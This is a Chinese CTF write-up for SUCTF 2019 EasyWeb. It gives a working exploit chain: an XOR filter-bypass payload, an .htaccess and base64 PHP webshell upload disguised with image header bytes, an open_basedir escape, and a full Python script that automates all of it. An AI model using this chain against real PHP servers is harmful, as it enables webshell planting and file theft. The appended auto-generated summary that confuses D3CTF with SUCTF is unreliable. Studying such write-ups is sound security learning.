[SUCTF 2019]EasyWeb

46 篇文章 0 订阅

知识点:

首先打开网页可以看见源码:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看见最后有个命令执行,不过对我们的参数进行了许多的过滤,
无数字字母,类似于这种之前第十届极客大挑战也有过,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过

这里主要考察了3层内容

1.绕过正则匹配限制

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars(
$hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);

要求传入的变量长度小于等于18而且匹配
首先对正则进行fuzz

<?php
for($i=32;$i<127;$i++){
    $hhh=chr($i);
    if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)) {
        echo $hhh;
    }
}
?>
//!#$%()*+-/:;<>?@\]^{}

得到了!#$%()*±/:;<>?@]^{}这些可用字符,于是可以利用

  • php代码中没有引号的字符都自动作为字符串
  • 利用异或产生字符串_GET

就是让两个不可见字符,异或之后,就变成了我们想要的字符。很神奇,但是哪两个不可见字符,异或之后,就是我们想要的字符了?

  • php的花括号解析输入,来执行函数get_the_flag

下面这个代码可以帮我们实现异或转化:

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l`$r\}";
?>


最终payload:?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

首先 %fe%fe%fe%fe^%a1%b9%bb%aa异或得到的内容是_GET,于是相当于${_GET}{%fe}();,而%fe又传入get_the_flag,于是变成

  • ${_GET}{get_the_flag}();
    从而完成对get_the_flag函数的调用

2.文件上传绕过

 if(preg_match("/ph/i",$extension)) die("^_^");

黑名单考虑用.htaccess上传绕过

if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");

对<?的匹配有2种绕过方式

一: <script language=“php”>eval($_GET[‘c’]);</script>
二: base64把程序编码,从而绕过对<?的匹配
这里使用第二种写法
if(!exif_imagetype($tmp_name)) die("^_^");

对文件类型的匹配参考了 文章 ,利用 \x00\x00\x8a\x39\x8a\x39开头来绕过

3绕过disable_function的限制

因为出题人disable_function的过滤不严,可以通过

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

原因参考这篇文章
在var_dump里命令执行得到flag

预期解应该是利用php-fpm绕过open_basedir和disable_function,参考这篇文章

最后

import requests
import hashlib
import base64

url ="http://5e802d16-eb6f-4dd0-8c88-2435d45e1719.node3.buuoj.cn/"	#need to be changed
padding = "?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
myip=requests.get("http://ifconfig.me").text
#因为在校园网环境ifconfig是本地ip,通过这个拿到公网ip
print(myip)

ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir="upload/tmp_"+ip_md5+"/"
#上传位置
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.cc"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#生成.htaccess和base64编码的shell文件
files =[('file',('.htaccess',htaccess,'image/jpeg'))]
data ={"upload":"Submit"}

res = requests.post(url=url+padding, data=data, files=files)

files = [('file',('shell.cc',shell,'image/jpeg'))]

res = requests.post(url=url+padding, data=data, files=files)
print("the path is:"+url+res.text)
#命令执行
cmd="?c=chdir(%27xxx%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27/THis_Is_tHe_F14g%27));"
final_res = requests.post(url=url+res.text+cmd)
print(final_res.text)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: \[1\]根据引用\[1\]中的描述,当将Smarty嵌入到CI框架中时,可能使用的是一个兼容低版本Smarty的引擎,而不是最新的Smarty引擎。这可能是因为参考的文章比较旧,导致整合时选择了兼容低版本的引擎。 \[2\]引用\[2\]中提到,CI框架的类是按需加载的,而不是自动加载的。这导致在全局搜索__destruct方法时可能会出现很多结果,但实际上无法使用。这可能是导致pop链不好找的一个重要原因。 \[3\]引用\[3\]中提到,在phpinfo中发现了一个flag,这表明还有另一种方法可以获取flag,即通过get_the_flag方法。然而,get_the_flag方法有两个过滤条件,一个是不允许出现"<?",另一个是对文件头字节进行过滤。作者提到可以传递一个文本文件,内容进行base64编码,并加上图片头字节,然后再传递一个.htaccess文件进行解码。 综上所述,\[D3CTF 2019\]EasyWeb可能涉及到使用兼容低版本的Smarty引擎、按需加载的类导致pop链难以找到,以及通过绕过过滤条件来获取flag的方法。 #### 引用[.reference_title] - *1* *2* [d3ctf easyweb题解](https://blog.csdn.net/weixin_42474164/article/details/116281650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SUCTF 2019]EasyWeb](https://blog.csdn.net/shinygod/article/details/124045024)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值